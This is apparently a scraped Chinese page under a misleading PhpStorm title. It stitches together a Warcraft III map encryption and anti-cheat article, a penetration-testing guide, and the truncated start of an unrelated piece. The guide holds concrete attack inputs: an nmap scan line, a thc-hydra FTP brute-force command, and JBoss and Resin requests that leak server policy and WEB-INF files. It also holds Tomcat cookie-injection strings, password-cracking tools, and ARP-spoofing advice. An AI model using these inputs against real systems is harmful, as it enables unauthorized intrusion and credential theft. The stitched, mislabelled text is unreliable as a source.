×

phpstorm漏洞信息泄露

phpstorm漏洞信息泄露(php漏洞大全)

admin admin 发表于2023-04-06 10:58:10 浏览54 评论0

抢沙发发表评论

本文目录一览:

【追加高分】魔兽地图反作弊

"反WE类"

这类可以说是最常见的了,最早的加密就是为了使WE打不开地图,方法也很多

1.删除WE的使用而游戏不需要的地图内部文件.

如war3map.wtg,war3map.w3c,war3map.w3s,war3map.w3r等文件,其中war3map.wtg是触发文件,游戏运行时使用的是war3map.j脚本文件,而触发文件是用来在WE中显示更为直观的T,其余war3map文件则是镜头之类都可以在J文件中定义的东西,游戏也不需要,因此删除这些文件可以使WE因为缺少文件而无法打开地图.-phpstorm漏洞信息泄露

加密方法:使用工具如w3mmaster,Wc3MapOptimizer,其中Wc3MapOptimizer是当前最好的工具,而且与其说是加密还不如说是优化,使用该工具除了删除无用文件外,还可以优化脚本,加快地图读取速度等.(这里推荐使用时参照老狼写的使用说明,写的比较详细,工具现在已经有偶汉化的4.5版,里面集成了老狼的大部分说明,这里推荐大家使用- -).另外一方面还可以手动使用MPQ工具进行删除或在WE中导入同名的空文件(最老的手动加密方式- -),当然手动方法是不被推荐的,因为没有任何优化效果,而且这种加密是最容易破解的.-phpstorm漏洞信息泄露

2.导入错误文件.

这种手段也是比较初级的加密手法,使用错误的war3map.wtg或在非正常数据环境下制作相关触发数据(如修改MPQ包中的blizzard.j文件,加入新函数等- -),同样造成WE错误,没有优化效果.这样做的原因是因为出现了可以忽略常规缺少文件错误的新WE(如反汇编制作的ENE WE等),这类WE可以打开缺少触发等文件的地图(不过由于缺少文件,你依然不能修改和存储地图,这也是一些菜鸟修改者修改完地图后发现地图完全不能游戏的原因),在使用错误数据后这类WE大多会出现内存读取出错.(可见加密技术都是解密而发展的- -)-phpstorm漏洞信息泄露

值得一提的是某些修改war3map.w3u(单位文件)等基础数据文件的做法,这种做法比较另类,向其中加入游戏中用不到的冗余错误数据,同时造成其中数据与war3map.wts等文件中数据错位.这种方式是针对现在比较流行MPQ工具导出相关文件进行外部修改的破解手段的,因为很多人喜欢导出w3u 文件单独放入WE修改,而在没有使用Wc3MapOptimizer的WTS字符优化时,还需要导入WTS文件来查看文本信息,这时冗余的数据会造成错误,导致WE出错退出- -,不得不说很有创意,不过如果使用w3mmaster修改的话就没有任何效果了,外加没有优化效果,因此也是不实用的方法.-phpstorm漏洞信息泄露

3.SLK优化

这种方式最大的好处是可以大幅加快地图读取速度,SLK文件优化得当的话,体积也可能减小,是当前最好用的优化手段之一,很多优秀的地图如DOTA都是这种优化的.

原理:懂得基本的地图组成结构的人都应该知道,单位,技能等信息都是储存在w3u,w3a这样的文件中的,然而没有实质的了解其结构的人可能就不会知道实际上这些文件中储存的不过是改动信息,而这个改动是相对于魔兽基础MPQ文件中的SLK文件而定的.地图在读取地图时会读取w3u等文件,而如果这些信息都作为SLK的基础信息的话则不会占用读取时间,这样就做到了优化,而且SLK的读取速度也比较快.因此优化的过程实际上就是拆散w3u等文件再放到SLK文件中去.-phpstorm漏洞信息泄露

SLK更多的是作为优化而言的,如果说到加密,那就是因为他可以防止w3mmaster这样的外部修改器,同时对于不了解内幕的人,也会因为找不到单位等数据文件而无从下手,不过现在基本上人人都知道SLK文件可以用EXCEL这样的工具来直接修改了,因此作为加密而言只是增加了修改的复杂性.-phpstorm漏洞信息泄露

相关工具:Widgetizer(最早的SLK工具,性能可靠,可惜不支持中文,如果你是英文图的话,还是用这个最好),U9MapOpt(U9地图优化器,目前唯一支持中文的优化器,不过还不能优化大小,而且有加广告的"BUG"...).-phpstorm漏洞信息泄露

总体来说"反WE类"是目前最广泛使用的加密方式,而且这类大部分是优化而非真正意义上的加密,同时我建议使用的SLK+Wc3MapOptimizer的优化方式.

"反MPQ类"

前面说过使用Wc3MapOptimizer等工具只能说是优化而非加密,原因之一是他们主要是做使地图变小,读取变快的优化,另一方面就是对于这类反 WE的地图,修改者最常用的手段是使用MPQ工具进行内部文件的修改,对于这类修改,很长时间内可以说是无敌的解密方法,因此真正可以说得上是加密的就是反MPQ类.-phpstorm漏洞信息泄露

1.MPQ头文件修改

这种修改方式由来已久,直到不久前hackwaly的新加密方法出现之后才真正流行起来要讲其原理,需要先了解一下mpq头文件的结构

struct TMPQHeader文件头结构定义

{

DWORD dwMpqFlag;头文件标志,一般是'MPQ'

DWORD dwHeaderSize; 头文件大小

DWORD dwArchiveSize; MPQ包大小

USHORT wFormatVersion;版本(这个直到WOW燃烧远征才开始有用,MPQ2这个值是1,魔兽的MPQ1是0)

USHORT wBlockSize; 块大小,熟悉的人一般叫它BUFFER SIZE

DWORD dwHashTablePos;哈希表偏移位置

DWORD dwBlockTablePos;块表偏移位置

DWORD dwHashTableSize;哈希表大小

DWORD dwBlockTableSize;块表大小

};

具体的含义在MPQ讲解中我还会介绍,这里只说和加密相关的.

1.同样的这种加密也是随着相关MPQ工具而发展的,最早是soar(GA的c-a)的mpqworkshop,这个工具有一个弱点是其寻找MPQ时需要检验头文件大小(dwHeaderSize)这个值,而由于MPQ1的这个值显然是固定的32,所以当人为的修改这个数为一个随机数时,该工具就会认为这是个无效的MPQ文件,造成无法打开,当然明白了原理后这是很容易破解的,而且现在的MPQ工具都忽略这个错误.不过这个修改这个值几乎成了习惯,虽然没有作用也还一直沿用着.-phpstorm漏洞信息泄露

2.之后出现了w3mmaster和mpqmaster,依然是soar的作品,使用自己制作的mpqlib,可以忽略dwHeaderSize的错误 (同时sfmpq也一样).很长时间内MPQ头的加密没有新的发展,直到今年初,hackwaly公布了他的研究成果,新的killmpqmaster加密,实质上是修改块表大小为大于哈希表大小的数.这里简单讲一下原理:-phpstorm漏洞信息泄露

最通俗的语言来说,MPQ就可以看成一本书,但他有两个目录,哈希表是第一个,当你要找书中的一页时需要先查哈希表,得到块表这个目录的位置,再从块表中查找到具体的页数,而MPQ这本书还有一个特殊之处是哈希表这个目录的大小是固定的,也就是说书里面最多能放的页数也是固定的(这就是MPQ中文件数有上限的原因),而如果我们的内容不能装满整个书的话,那么哈希表的一部分就是空的.而块表不同,他只存放有效的页,因此他的大小是不固定的,哈希表与块表是一一对应的,因此块表不可能比哈希表大.-phpstorm漏洞信息泄露

再讲一下MPQMASTER的文件查找原理,大家就会明白为什么修改块表大小会造成这类工具不能读取地图的原因了.MPQMASTER准确说是 mpqlib.dll是需要枚举MPQ包中的每一个文件的,而魔兽则只需要查找其需要的文件,也就是说,魔兽在翻书时直接查找目录找文件,而不必去管目录到底有多大,什么时候目录会结束.而MPQMASTER则需要知道这个,他要先知道目录的大小才能得知什么时候已经找到了所有文件,mpqlib是根据块表来查找的,因此如果修改了块表大小,就相当于让他去不存在的目录查找文件,这当然是错误的.-phpstorm漏洞信息泄露

3.修改MPQ包大小(dwArchiveSize)为0,这是我个人最先发明的,原理实际上也和修改块表大小差不多,但实际上还是由于mpqlib的严谨性,mpqlib在读取MPQ文件结构时会验证一些数据的准确性,虽然不一定有用,但是正是这项检查造成修改MPQ包大小后,mpqlib将地图识别为错误MPQ.-phpstorm漏洞信息泄露

4.修改哈希表大小(dwHashTableSize),这种加密也和我有一定关系,不过没有流行起来,而且事实证明也并不是一种安全的加密

在killmpqmaster加密(工具为hackwaly的w3xmaster)流行后,mpqmaster的使用受到限制,当然也出现了不少手动破解方法,不过相对而言最好用的是winmpq和我的ShadowEditor,sfmpq是因为其在查表时是检查哈希表而不受块表错误的影响,同时也不检查 MPQ包大小,因而可以正常打开w3xmaster加密的地图,不过从w3xmaster0.006开始采用了修改哈希表的技术而造成其显示错误文件而不那么好用了.同时期我就结合了sfmpq的优点做了ShadowEditor,自动修复所有的头文件错误,修复后可以用mpqmaster打开.作为反 ShadowEditor还原的第一例,就是55YOU的简单做的修改哈希表大小加密,理论上说哈希表大小会直接影响查表的过程,因而不能修改,但确实在一些特例中成功了,但并不是所有图都可以,再加上我第一时间修改了还原程序,这个加密貌似就只出现了那么片刻的时间- -...-phpstorm漏洞信息泄露

2.利用地图大小限制

魔兽连网是有4M大小限制的,而在早期大家都使用MPQMASTER来修改地图时,由于mpqlib的压缩性能较差,因而总会造成地图变大,有些加密就是利用这个漏洞,在地图较大的情况下干脆直接让地图接近4M,这样随便改动都会造成无法连网.这种加密实际上也在winmpq和偶的 ShadowEditor流行起来之后变得用处不大了,因为SFMPQ.DLL的压缩效果要明显好的多.-phpstorm漏洞信息泄露

值得一提的是最近还能见到一些图利用0byte文件来填充的方法把MPQ包添满,当然这也是在地图本身比较大的情况下,这种方法貌似是利用地图大小的升级加密版本,因为这样即使压缩的很好也有可能超出4M,不过解起来也很简单,把这种文件删就好- -,所以感觉是种很搞笑的方法.-phpstorm漏洞信息泄露

3.脚本文件加密

包括3种:

1.最早的是移动脚本,把根目录下的war3map.j放到scripts\下依然可以用,在开始没有人知道的情况下,确实找不到脚本,但是现在已经是路人皆知的事情了,使用Wc3MapOptimizer会自动移到那里去.-phpstorm漏洞信息泄露

2.双脚本,一个在根目录下,另一个在scripts\下,出现两个脚本,迷惑新手罢了,当然只有一个是真的,我给他的评价是劳民伤财,白占体积- -.

3.替身脚本,这个理论上有些技术含量,和后面要讲的我的文件隐藏法有一定的联系,原理上说是利用了魔兽的storm与一般工具的MPQ库之间读取文件的原理差异,在地图中放入两个同名的war3map.j,一个是假的替身文件,在用一般的MPQ工具读取时只能读出假文件,游戏则会读真的,识别方法可以用偶的ShadowEditor打开发现两个同名的war3map.j 且大小不一样(大小不一样很重要,因为w3xmaster也有一种能造成这种假象的),这种方法对所有具有写入功能的MPQ工具都有效,不过估计应该不是用某种专门加密器完成的,估计是用了某个MPQ工具的BUG,而且这种方法加大地图体积,还可以用简单的方法破解,因此我只说他是理论上有技术含量的东西 - -.-phpstorm漏洞信息泄露

4.文件属性加密

这种貌似是最扯淡的加密了,方法简单的出奇,而且不容易察觉,就是把地图的属性改成只读,这样任何MPQ工具都不能对其进行写操作了,当然还原方法不用多说了,不过不仔细的话还真以为是什么厉害的加密呢,汗......-phpstorm漏洞信息泄露

5.MPQ哈希表,块表加密

这种才可以说是真正意义上有技术含量的加密(相对于Wc3MapOptimizer等工具也算不上有技术- -,不过那些是优化...),从hackwaly的w3xmaster开始.

这里只举两个例子:

1.w3xmaster0.009:未公布的地图加密器,主要原理是将块表扩充为确实比哈希表大,同时打乱哈希表与块表间的连接,填充无用的哈希空位,迷惑性的复制哈希表项目(这就是为什么ShadowEditor可能读出两个J文件的原因,大家也可以推想一下替身脚本的原理- -...),再详细的原理我也不想说了,未公布的东西不能乱讲,其实主要是防止我的ShadowEditor对地图进行还原,同时也造成了无法重压缩的问题,虽然不能防止解压,但是确实比较有效的防止了在原图上进行修改.-phpstorm漏洞信息泄露

2.War3map Encrypt:未公布的加密器, 这个是我做的,也是只简单的讲一下原理:前面已经说过war3和一般的mpq工具读图原理是有差别的,这也是制作加密的突破口,简单的说这个差异就是在 MPQ中出现同名文件时的处理机制,因为正常的MPQ是不会有同名文件的,因此一般的MPQ工具不会处理这个错误,而war3则会,因此才有了替身文件和隐藏文件的可能,与替身文件不同的是,我的加密是通过直接修改哈希表制作的,因此我不需要替身文件可以直接隐藏文件,同时在加密中加入了SFMPQ列表读取崩溃和w3xmaster的一些反mpqlib机制,所以现在基本上可以防止所有流行的MPQ写入工具进行修改,甚至读取.不过既然魔兽能够读取,那么就一定有办法能解压文件,这种方法是什么我就不想多说了,这里只是加密讲解.-phpstorm漏洞信息泄露

话说回来任何加密都可以破解,懂得MPQ核心原理的人应该可以自己写程序破解,不过我的SE暂时是不会再写任何破解模块了...

"脚本类"

从这类开始应该说就是反作弊的范畴了,这类出现的前提是无法阻止脚本文件的解压,以及某些外挂作弊(MH)

1.打乱脚本,变量名替换.

这是最早的了,也是沿用至今的基本方法,代表工具是Wc3MapOptimizer,利用他进行脚本优化后,脚本中放在一起的T相关函数被分散并进行同类汇总,删除注释,这样造成脚本可读性变差,但是真正使可读性变得很差的还是重新用字母或数字来替换那些有意义的函数名,这样就给理解脚本造成了很大的麻烦,因此修改脚本时需要的是对于J文件的深刻理解了.-phpstorm漏洞信息泄露

2.添加作弊检查的函数.

这类方法很多,比如检查玩家的资源数等,只要超出合理范围就判定为作弊,同时可以检查是否使用了单机秘籍.其中还有一类比较有趣的方法是在游戏中读取wts文件的字符,如果修改者修改了某些字符,如作者信息之类就判定此图为盗版.-phpstorm漏洞信息泄露

3.禁止单人游戏.

这种多用于ORPG,防止单机秘籍的使用造成游戏平衡性破坏.

方法有几种,比较好用的有判断是否可以保存缓存,单机可以,多人就不行,另外判断是否可以保存游戏也可以做到,同样是只有单机可以.

单机判断和作弊检查函数联合,同时分散写上多个处判断函数,可以使修改者不容易删除判断函数,而且在判断为作弊后采用死循环或大量制造单位的方法来强制地图出错,也可以防止修改者通过文字信息来找到相关函数.

4.反MH函数.

MH无疑是最让对战地图头疼的东西,不过在kook,hackwaly,朱朱等人的研究下,确实找到了一些反MH的脚本方法,我没有仔细看过他们的脚本,所以以下只是简单的写点基本原理,如有不对的地方还请指正- -:-phpstorm漏洞信息泄露

1.通过触发选择不可见单位,然后判断是否出现取消选择的事件来判断是否使用MH,在开了MH后是不会出现取消选择的事件的.

2.通过在不可见区域创建闪电特效,如果没有开MH不会返回句柄,开了就会有.

3.使用由hyp制作的看见就会造成游戏错误的模型.

"特殊标示类"

说到特殊标示,最先想到的应该是官方的兰色小标志,这一类就是采用各种算法来给地图加上独特的标示,通过标示可以方便的辨认正版地图.

1.官方的签名.

这个不知道有多少人想要破解了,不过现在还没有人成功,而且估计也不可能有人成功

原理:对地图内容进行SHA-1摘要,然后对摘要的结果进行RSA运算,当然懂RSA的人应该知道这运算是要有自己的私钥的,结果是一个260字节的签名,放在地图末尾,在game.dll中有检验这个签名的公钥,只要验证成功就会加上兰色小标志.-phpstorm漏洞信息泄露

知道原理就不难理解为什么这个是不可能破解的了,首先RSA现在还没有破解理论,其次你不可能从暴雪手里偷到那个私钥,因此该签名是目前最保险的防盗版方法.

2.GA的签名.

既然我们不可能从官方得到地图签名,那我们就自己改,通过将game.dll中的公钥修改为自定义的和自己的私钥相匹配的数据,我们就可以做自己的签名了,这就有了GA的补丁,不过确实这种补丁的推广很难,广大玩家并不像地图作者那样需要他......-phpstorm漏洞信息泄露

3.盗版地图删除器.

这个东西的作用不是很大,但毕竟起过一些作用,这里把他放在标示类也有一些原因.

原理:早期的盗版地图删除器如3CORC之类的,是根据地图大小来判断是否正版的,这样做的缺点是每更新一张地图就需要更新一次删除器的列表,比较麻烦. 后期我为WOW8制作的删除器是采用类似签名的摘要加密法,不知道原理的情况下很难仿制,而且随便的更改都会造成不匹配,这样只要用删除器对签名进行判断就可以验证是否是正版图,不需要更新列表这种麻烦事.至于算法可以自己随便选择,如MD5,RSA等有名的算法...-phpstorm漏洞信息泄露

4.(attributes)文件.

这个文件是官方检验地图文件是否受损的文件,也是所有改图者必删的文件,否则游戏中就会提示文件错误.

原理:这个文件是按照MPQ中的文件顺序将每个文件的CRC32值,文件时间等数据放入(attributes)中,游戏中进行检验,在MPQ2中应该还包括MD5校验.

这个东西由于一般都被删了所以也没什么作用,不过可以是另外一种盗版地图删除器的判断方法,加入自定义的校验文件(里面包含关键文件的MD5,CRC32等值),然后检查时自动查找就可以了,由于是自定义文件名,也不容易被直接找出来.-phpstorm漏洞信息泄露

我也不知道是不是。

如何对网站进行渗透测试和漏洞扫描

零、前言

渗透测试在未得到被测试方授权之前依据某些地区法律规定是违法行为。 这里我们提供的所有渗透测试方法均为(假设为)合法的评估服务,也就是通常所说的道德黑客行为(Ethical hacking),因此我们这里的所有读者应当都是Ethical Hackers,如果您还不是,那么我希望您到过这里后会成为他们中的一员 ;)-phpstorm漏洞信息泄露

这里,我还想对大家说一些话:渗透测试重在实践,您需要一颗永不言败的心和一个有着活跃思维的大脑。不是说您将这一份文档COPY到您网站上或者保存到本地电脑您就会了,即使您将它打印出来沾点辣椒酱吃了也不行,您一定要根据文档一步一步练习才行。而且测试重在用脑,千万别拿上一两个本文中提到的工具一阵乱搞,我敢保证:互联网的安全不为因为这样而更安全。祝您好运。。。-phpstorm漏洞信息泄露

一、简介

什么叫渗透测试?

渗透测试最简单直接的解释就是:完全站在攻击者角度对目标系统进行的安全性测试过程。

进行渗透测试的目的?

了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢?就像Mitnick书里面提到的那样,安全管理(在这里我们改一下,改成安全评估工作)需要做到面面俱到才算成功,而一位黑客(渗透测试)只要能通过一点进入系统进行破坏,他就算是很成功的了。-phpstorm漏洞信息泄露

渗透测试是否等同于风险评估?

不是,你可以暂时理解成渗透测试属于风险评估的一部分。事实上,风险评估远比渗透测试复杂的多,它除渗透测试外还要加上资产识别,风险分析,除此之外,也还包括了人工审查以及后期的优化部分(可选)。

已经进行了安全审查,还需要渗透测试吗?

如果我对您说:嘿,中国的现有太空理论技术通过计算机演算已经能够证明中国完全有能力实现宇航员太空漫步了,没必要再发射神8了。您能接受吗?

渗透测试是否就是黑盒测试?

否,很多技术人员对这个问题都存在这个错误的理解。渗透测试不只是要模拟外部黑客的入侵,同时,防止内部人员的有意识(无意识)攻击也是很有必要的。这时,安全测试人员可以被告之包括代码片段来内的有关于系统的一些信息。这时,它就满足灰盒甚至白盒测试。-phpstorm漏洞信息泄露

渗透测试涉及哪些内容?

技术层面主要包括网络设备,主机,数据库,应用系统。另外可以考虑加入社会工程学(入侵的艺术/THE ART OF INTRUSION)。

渗透测试有哪些不足之处?

主要是投入高,风险高。而且必须是专业的Ethical Hackers才能相信输出的最终结果。

你说的那么好,为什么渗透测试工作在中国开展的不是很火热呢?

我只能说:会的,一定会的。渗透测试的关键在于没法证明你的测试结果就是完善的。用户不知道花了钱证明了系统有问题以后,自己的安全等级到了一个什么程序。但是很显然,用户是相信一个专业且经验丰富的安全团队的,这个在中国问题比较严重。在我接触了一些大型的安全公司进行的一些渗透测试过程来看,测试人员的水平是对不住开的那些价格的,而且从测试过程到结果报表上来看也是不负责的。我估计在三年以后,这种情况会有所改观,到时一方面安全人员的技术力量有很大程度的改观,另一方面各企业对渗透测试会有一个比较深刻的理解,也会将其做为一种IT审计的方式加入到开发流程中去。渗透测试的专业化、商业化会越来越成熟。-phpstorm漏洞信息泄露

二、制定实施方案

实施方案应当由测试方与客户之间进行沟通协商。一开始测试方提供一份简单的问卷调查了解客户对测试的基本接收情况。内容包括但不限于如下:

目标系统介绍、重点保护对象及特性。

是否允许数据破坏?

是否允许阻断业务正常运行?

测试之前是否应当知会相关部门接口人?

接入方式?外网和内网?

测试是发现问题就算成功,还是尽可能的发现多的问题?

渗透过程是否需要考虑社会工程?

。。。

在得到客户反馈后,由测试方书写实施方案初稿并提交给客户,由客户进行审核。在审核完成后,客户应当对测试方进行书面委托授权。这里,两部分文档分别应当包含如下内容:

实施方案部分:

...

书面委托授权部分:

...

三、具体操作过程

1、信息收集过程

网络信息收集:

在这一部还不会直接对被测目标进行扫描,应当先从网络上搜索一些相关信息,包括Google Hacking, Whois查询, DNS等信息(如果考虑进行社会工程学的话,这里还可以相应从邮件列表/新闻组中获取目标系统中一些边缘信息如内部员工帐号组成,身份识别方式,邮件联系地址等)。-phpstorm漏洞信息泄露

1.使用whois查询目标域名的DNS服务器

2.nslookup

set type=all

domain

server ns server

set q=all

ls -d domain

涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs 除此之外,我想特别提醒一下使用Googlebot/2.1绕过一些文件的获取限制。-phpstorm漏洞信息泄露

Google hacking 中常用的一些语法描述

1.搜索指定站点关键字site。你可以搜索具体的站点如site:。使用site:nosec.org可以搜索该域名下的所有子域名的页面。甚至可以使用site:org.cn来搜索中国政府部门的网站。

2.搜索在URL网址中的关键字inurl。比如你想搜索带参数的站点,你可以尝试用inurl:asp?id=

3.搜索在网页标题中的关键字intitle。如果你想搜索一些登陆后台,你可以尝试使用intitle:"admin login"

目标系统信息收集:

通过上面一步,我们应当可以简单的描绘出目标系统的网络结构,如公司网络所在区域,子公司IP地址分布,VPN接入地址等。这里特别要注意一些比较偏门的HOST名称地址,如一些backup开头或者temp开关的域名很可能就是一台备份服务器,其安全性很可能做的不够。-phpstorm漏洞信息泄露

从获取的地址列表中进行系统判断,了解其组织架构及操作系统使用情况。最常用的方法的是目标所有IP网段扫描。

端口/服务信息收集:

这一部分已经可以开始直接的扫描操作,涉及的工具包括:nmap,thc-amap

1.我最常使用的参数

nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 ip address

应用信息收集:httprint,SIPSCAN,smap

这里有必要将SNMP拿出来单独说一下,因为目前许多运营商、大型企业内部网络的维护台通过SNMP进行数据传输,大部分情况是使用了默认口令的,撑死改了private口令。这样,攻击者可以通过它收集到很多有效信息。snmp-gui,HiliSoft MIB Browser,mibsearch,net-snmp都是一些很好的资源。-phpstorm漏洞信息泄露

2、漏洞扫描

这一步主要针对具体系统目标进行。如通过第一步的信息收集,已经得到了目标系统的IP地址分布及对应的域名,并且我们已经通过一些分析过滤出少许的几个攻击目标,这时,我们就可以针对它们进行有针对性的漏洞扫描。这里有几个方面可以进行:-phpstorm漏洞信息泄露

针对系统层面的工具有:ISS, Nessus, SSS, Retina, 天镜, 极光

针对WEB应用层面的工具有:AppScan, Acunetix Web Vulnerability Scanner, WebInspect, Nstalker

针对数据库的工具有:ShadowDatabaseScanner, NGSSQuirreL

针对VOIP方面的工具有:PROTOS c07 sip(在测试中直接用这个工具轰等于找死)以及c07 h225, Sivus, sipsak等。

事实上,每个渗透测试团队或多或少都会有自己的测试工具包,在漏洞扫描这一块针对具体应用的工具也比较个性化。

3、漏洞利用

有时候,通过服务/应用扫描后,我们可以跳过漏洞扫描部分,直接到漏洞利用。因为很多情况下我们根据目标服务/应用的版本就可以到一些安全网站上获取针对该目标系统的漏洞利用代码,如milw0rm, securityfocus,packetstormsecurity等网站,上面都对应有搜索模块。实在没有,我们也可以尝试在GOOGLE上搜索“应用名称 exploit”、“应用名称 vulnerability”等关键字。-phpstorm漏洞信息泄露

当然,大部分情况下你都可以不这么麻烦,网络中有一些工具可供我们使用,最著名的当属metasploit了,它是一个开源免费的漏洞利用攻击平台。其他的多说无益,您就看它从榜上无名到冲进前五(top 100)这一点来说,也能大概了解到它的威力了。除此之外,如果您(您们公司)有足够的moeny用于购买商用软件的话,CORE IMPACT是相当值得考虑的,虽然说价格很高,但是它却是被业界公认在渗透测试方面的泰山北斗,基本上测试全自动。如果您觉得还是接受不了,那么您可以去购买CANVAS,据说有不少0DAY,不过它跟metasploit一样,是需要手动进行测试的。最后还有一个需要提及一下的Exploitation_Framework,它相当于一个漏洞利用代码管理工具,方便进行不同语言,不同平台的利用代码收集,把它也放在这里是因为它本身也维护了一个exploit库,大家参考着也能使用。-phpstorm漏洞信息泄露

上面提到的是针对系统进行的,在针对WEB方面,注入工具有NBSI, OWASP SQLiX, SQL Power Injector, sqlDumper, sqlninja, sqlmap, Sqlbftools, priamos, ISR-sqlget***等等。-phpstorm漏洞信息泄露

在针对数据库方面的工具有:

数据库 工具列表 Oracle(1521端口): 目前主要存在以下方面的安全问题:

1、TNS监听程序攻击(sid信息泄露,停止服务等)

2、默认账号(default password list)

3、SQL INJECTION(这个与传统的意思还不太一样)

4、缓冲区溢出,现在比较少了。 thc-orakel, tnscmd, oscanner, Getsids, TNSLSNR, lsnrcheck, OAT, Checkpwd, orabf MS Sql Server(1433、1434端口) Mysql(3306端口) DB2(523、50000、50001、50002、50003端口) db2utils Informix(1526、1528端口) -phpstorm漏洞信息泄露

在针对Web服务器方面的工具有:

WEB服务器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目录了吗?另外,目录列表也是Tomcat服务器中最常见的问题。比如5.*版本中的;index.jsp-phpstorm漏洞信息泄露

"../manager/html

;cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B

;cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083端口有%符号的漏洞:-phpstorm漏洞信息泄露

GET %. HTTP/1.0可以获取物理路径信息,

GET %server.policy HTTP/1.0可以获取安全策略配置文档。

你也可以直接访问GET %org/xxx/lib.class来获取编译好的java程序,再使用一些反编译工具还原源代码。 Apache Resin

;servletpath=file=WEB-INF/web.xml

;servletpath=file=WEB-INF/classes/com/webapp/app/target.class

[path]/[device].[extension]

.."web-inf

[path]/%20.xtp WebLogic

Web安全测试主要围绕几块进行:

Information Gathering:也就是一般的信息泄漏,包括异常情况下的路径泄漏、文件归档查找等

Business logic testing:业务逻辑处理攻击,很多情况下用于进行业务绕过或者欺骗等等

Authentication Testing:有无验证码、有无次数限制等,总之就是看能不能暴力破解或者说容不容易通过认证,比较直接的就是“默认口令”或者弱口令了

Session Management Testing:会话管理攻击在COOKIE携带认证信息时最有效

Data Validation Testing:数据验证最好理解了,就是SQL Injection和Cross Site Script等等

目前网上能够找到许多能够用于进行Web测试的工具,根据不同的功能分主要有:

枚举(Enumeration): DirBuster, http-dir-enum, wget

基于代理测试类工具:paros, webscarab, Burp Suite

针对WebService测试的部分有一些尚不是很成熟的工具,如:wsbang,wschess,wsmap,wsdigger,wsfuzzer

这一部分值得一提的是,很多渗透测试团队都有着自己的测试工具甚至是0DAY代码,最常见的是SQL注入工具,现网开发的注入工具(如NBSI等)目前都是针对中小企业或者是个人站点/数据库进行的,针对大型目标系统使用的一些相对比较偏门的数据库系统(如INFORMIX,DB2)等,基本上还不涉及或者说还不够深入。这时各渗透测试团队就开发了满足自身使用习惯的测试工具。-phpstorm漏洞信息泄露

在针对无线环境的攻击有:WifiZoo

4、权限提升

在前面的一些工作中,你或许已经得到了一些控制权限,但是对于进一步攻击来说却还是不够。例如:你可能很容易的能够获取Oracle数据库的访问权限,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一个基本账号权限,但是当你想进行进一步的渗透测试的时候问题就来了。你发现你没有足够的权限打开一些密码存储文件、你没有办法安装一个SNIFFER、你甚至没有权限执行一些很基本的命令。这时候你自然而然的就会想到权限提升这个途径了。-phpstorm漏洞信息泄露

目前一些企业对于补丁管理是存在很大一部分问题的,他们可能压根就没有想过对一些服务器或者应用进行补丁更新,或者是延时更新。这时候就是渗透测试人员的好机会了。经验之谈:有一般权限的Oracle账号或者AIX账号基本上等于root,因为这就是现实生活。-phpstorm漏洞信息泄露

5、密码破解

有时候,目标系统任何方面的配置都是无懈可击的,但是并不是说就完全没办法进入。最简单的说,一个缺少密码完全策略的论证系统就等于你安装了一个不能关闭的防盗门。很多情况下,一些安全技术研究人员对此不屑一顾,但是无数次的安全事故结果证明,往往破坏力最大的攻击起源于最小的弱点,例如弱口令、目录列表、SQL注入绕过论证等等。所以说,对于一些专门的安全技术研究人员来说,这一块意义不大,但是对于一个ethical hacker来说,这一步骤是有必要而且绝大部分情况下是必须的。;)-phpstorm漏洞信息泄露

目前比较好的网络密码暴力破解工具有:thc-hydra,brutus

hydra.exe -L users.txt -P passwords.txt -o test.txt -s 2121 ftp

目前网络中有一种资源被利用的很广泛,那就是rainbow table技术,说白了也就是一个HASH对应表,有一些网站提供了该种服务,对外宣称存储空间大于多少G,像rainbowcrack更是对外宣称其数据量已经大于1.3T。-phpstorm漏洞信息泄露

针对此种方式对外提供在线服务的有:

网址 描述 rainbowcrack 里面对应了多种加密算法的HASH。 数据量全球第一,如果本站无法破解,那么你只能去拜春哥...

当然,有些单机破解软件还是必不可少的:Ophcrack,rainbowcrack(国人开发,赞一个),cain,L0phtCrack(破解Windows密码),John the Ripper(破解UNIX/LINUX)密码,当然,还少不了一个FindPass...-phpstorm漏洞信息泄露

针对网络设备的一些默认帐号,你可以查询和

在渗透测试过程中,一旦有机会接触一些OFFICE文档,且被加了密的话,那么,rixler是您马上要去的地方,他们提供的OFFICE密码套件能在瞬间打开OFFICE文档(2007中我没有试过,大家有机会测试的话请给我发一份测试结果说明,谢谢)。看来微软有理由来个补丁什么的了。对于企业来说,您可以考虑使用铁卷或者RMS了。-phpstorm漏洞信息泄露

6、日志清除

It is not necessary actually.

7、进一步渗透

攻入了DMZ区一般情况下我们也不会获取多少用价值的信息。为了进一步巩固战果,我们需要进行进一步的内网渗透。到这一步就真的算是无所不用其及。最常用且最有效的方式就是Sniff抓包(可以加上ARP欺骗)。当然,最简单的你可以翻翻已入侵机器上的一些文件,很可能就包含了你需要的一些连接帐号。比如说你入侵了一台Web服务器,那么绝大部分情况下你可以在页面的代码或者某个配置文件中找到连接数据库的帐号。你也可以打开一些日志文件看一看。-phpstorm漏洞信息泄露

除此之外,你可以直接回到第二步漏洞扫描来进行。

四、生成报告

报告中应当包含:

薄弱点列表清单(按照严重等级排序)

薄弱点详细描述(利用方法)

解决方法建议

参与人员/测试时间/内网/外网

五、测试过程中的风险及规避

在测试过程中无可避免的可能会发生很多可预见和不可预见的风险,测试方必须提供规避措施以免对系统造成重大的影响。以下一些可供参考:

1. 不执行任何可能引起业务中断的攻击(包括资源耗竭型DoS,畸形报文攻击,数据破坏)。

2. 测试验证时间放在业务量最小的时间进行。

3. 测试执行前确保相关数据进行备份。

4. 所有测试在执行前和维护人员进行沟通确认。

5. 在测试过程中出现异常情况时立即停止测试并及时恢复系统。

6. 对原始业务系统进行一个完全的镜像环境,在镜像环境上进行渗透测试。

error form server 什么意思

1.0绪论

当一台机器只开放了80端口(这里指的是提供HTTP服务)时,可能你的大多数漏洞扫描器都不能给到你很多

有价值的信息(漏洞信息),倘若这台机器的管理员是经常为他的服务器打PATCH的话,我们只好把攻击的

